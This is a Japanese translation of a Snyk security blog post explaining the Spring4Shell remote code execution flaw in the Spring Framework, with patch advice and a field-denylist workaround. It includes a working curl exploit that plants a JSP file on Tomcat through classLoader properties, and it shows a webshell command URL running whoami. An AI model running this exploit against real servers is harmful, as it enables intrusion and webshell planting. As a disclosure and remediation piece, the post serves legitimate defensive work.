Spring4Shell：JavaのSpringフレームワークのゼロデイRCE脆弱性について解説します

本記事は2022年3月31日（米国時間）/2022年4月1日（日本時間）に公開した英語ブログ[Spring4Shell: The zero-day RCE in the Spring Framework explained](https://snyk.io/blog/spring4shell-zero-day-rce-spring-framework-explained/)を日本語化した内容です。

[![logo-solid-background.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/687b9c44-fd95-1778-2869-898100ade8b6.png)](https://snyk.io/jp)

2022年3月30日（米国時間）、Spring フレームワークに[リモートコード実行（RCE）可能な重大な脆弱性](https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORK-2436751)が発見されました。具体的には、`spring-webmvc` と `spring-webflux` の両方の依存先である `spring-beans` パッケージに含まれています。この脆弱性は、[ソフトウェアのサプライチェーンを保護する](https://snyk.io/blog/preventing-malicious-packages-and-supply-chain-attacks-with-snyk/)ことがオープンソースにとって重要であることを示すもう一つの例です。

[Lunasec](https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/)、[Rapid7](https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/)、 [Praetorian](https://www.praetorian.com/blog/spring-core-jdk9-rce/)などのセキュリティリソースがこの脆弱性が実在することを確認し、その間にSpringはこの問題を修正する新バージョンをすでにリリースしているので、[アップデートをお勧めします](https://snyk.io/blog/is-there-such-a-thing-as-spring4shell/)。Spring4Shellは、数ヶ月前に起こったLog4Shellの脆弱性のような影響はないようですが、それでもSpringフレームワークを使用しているすべての組織でテストを行い、優先的に修正する必要があります。この記事では、RCEがどのように機能するかを解説します。

# Spring4Shellの説明

もし、メモリにロードされたリクエストマッピングを持つコントローラがあれば、すでにこの脆弱性が存在することになります。下図は、 `GreetingController` の `PostMapping` を `/greeting` に設定したものです。例えば Tomcat の `http://mydomain/myapp/greeting` でアプリケーションを呼び出すと、入力を POJO (Plain Old Java Object) に変換しようとします。この場合のPOJOは `Greeting` オブジェクトになります。

```
@Controller
public class GreetingController {

  @PostMapping("/greeting")
  public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
     model.addAttribute("greeting", greeting);
     return "result";
  }

}
```



しかし、Springはこれらの値をJavaオブジェクトにマッピングするためシリアライズを行うので、他の値を設定することも可能です。いろいろ調べてみると、クラスのプロパティを設定することができることがわかりました。これは、Tomcatで実行する場合、興味深いことです。
これを実際に示すために、次の `curl` を使って、クラスのいくつかのロギングプロパティを通じて rce.jsp ファイルを作成することができます。


```
curl -X POST \
 -H "pre:<%" \
 -H "post:;%>" \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
 http://mydomain/myapp/greeting
```

このパターンで設定されたものは、すべてファイルの中身になります。巧妙なエスケープとヘッダーの使用により、私たちのチームはTomcatサーバー上に `<% out.println("HACKED"); %>` という内容のJSPファイルを作成することが出来ました。このファイルは `/myapp/rce.jsp` でアクセス可能です。


![blog-spring4shell-explained-hacked.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/e00d5d32-228e-4a18-7546-e58c8f50dbc1.png)

Snyk のセキュリティ研究チームの[Kirill Efimov](https://twitter.com/byte89)と[Aviad Hahami](https://twitter.com/aviadhahami)が作成した完全なPOCは、[GitHub](https://github.com/Kirill89/CVE-2022-22965-PoC)で公開されています。

単純な `out.println` を評価できれば、 JSP ファイルを作成し、`Runtime.exec()` を使って逆シェルアクセスを実現するターミナルコマンドを含めることも可能です。あるいは、JSPの機能を使って、素敵なウェブシェルインターフェースを作ることもできます。

多くのブログで紹介されている同様の手法は、コマンドを実行する機能を持つJSPを作成することです。この[Pythonスクリプト](https://github.com/TheGejr/SpringShell/blob/master/exp.py)は、そのために必要なヘッダを持つ適切なリクエストを作成します。このスクリプトをデモアプリケーションで実行すると、次のように `whoami` コマンドを実行することができます。 ` http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami`


![blog-spring4shell-explained-cmd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2216557/34535f48-fccc-a6cb-4ba6-c80e2a748588.png)


# 脆弱となる条件は？

現在、事態が急速に進展しているため、現在わかっていることのみをお伝えいたします。

影響を受けるバージョンのspring-beansについては、この脆弱性はJDK 9以降を使用している場合にのみ有効であるように見えます。JDK 9の導入は、古い問題[CVE-2010-1622](https://security.snyk.io/vuln/?search=CVE-2010-1622)をかなり迂回することになります。

多くのJava開発者がすでに8以降のJavaバージョンに移行しており、またSpringフレームワークの利用が非常に多いため、多くのJavaアプリケーションがこの問題に対して脆弱である可能性があると考えています。

この問題を解決する方法は複数あります。Springのメンテナー（管理者）は、フレームワークの新バージョンをリリースしました。ですから、Springフレームワークのバージョン`5.3.18`または`5.2.20`にアップデートすることが最良のアドバイスです。私たちのセキュリティ研究チームによると、`spring-bean`パッケージを最新バージョンに更新するだけで良いそうですが、フレームワーク全体を更新する方がより理にかなっています。Spring Bootを使用している場合、リリース`2.6.6`または`2.5.12`は更新されたSprフレームワークを統合しています。


Springの新しいバージョンにアップデートできない場合、JavaのバージョンをJava 8にダウングレードすることが選択肢となります。

もう一つの方法は、コントローラー内に `InitBinder` を作成するか、以下のように `ControllerAdvice` として独立させることです。


```
@ControllerAdvice

@Order(10000)

public class BinderControllerAdvice {

	@InitBinder

	public void setAllowedFields(WebDataBinder dataBinder) {

     	String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};

     	dataBinder.setDisallowedFields(denylist);

	}

}
```


しかし、これは最終的な解決策ではないことに注意してください。このようなブロックリストを作成することは、セキュリティ上良い方法とは言えませんが、時間を稼ぐことはできるそうです。Springフレームワークのメンテナーは、[ブログ記事](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)で `RequestMappingHandlerAdapterr` を作成して、他のすべての初期化に続いて最後に `WebDataBinder` を更新することを提案しています。

# フレームワークやライブラリに依存すること

Spring4Shellでは、オープンソースのフレームワークやライブラリに大きく依存していることを再認識させられます。しかし、今回のようなセキュリティ脆弱性や、最近の[Log4Shell](https://snyk.io/log4j-vulnerability-resources/) RCEのようなセキュリティ脆弱性が発生した場合、この事実を意識していれば即座に対応できます。

Snyk は、アプリケーションを定期的にスキャンすることで、このような事態に対処するお手伝いをします。新しい脆弱性が検出されると、Snyk はあなたとチームに注意を促し、アプリケーションを安全に保つための推奨される対策法を提供します。

最後に、今回のようなゼロデイ脆弱性によって、なぜライブラリの最新版を利用することが重要なのかを思い知らされます。最新版であれば、アップデートの適用、再構築、再リリースをより簡単に素早く行うことができます。

:::note info
ブログを読んで、Snykを使ってみたい！と思われた方は、ぜひ[無料トライアル](https://snyk.co/qiita)をお試しください。トライアル中の技術的なご質問は、[サポート](https://support.snyk.io/hc/en-us)に**日本語で**お寄せください。
:::

:::note info
[Snyk](https://snyk.io/jp)では、セキュアなコーディングのための情報や脆弱性の最新情報などを発信しています。ぜひ[Twitter](https://twitter.com/snykjp)や[Facebook](https://www.facebook.com/snykJP/)や[ブログ](https://qiita.com/organizations/snyk)のフォローをお願いします。
:::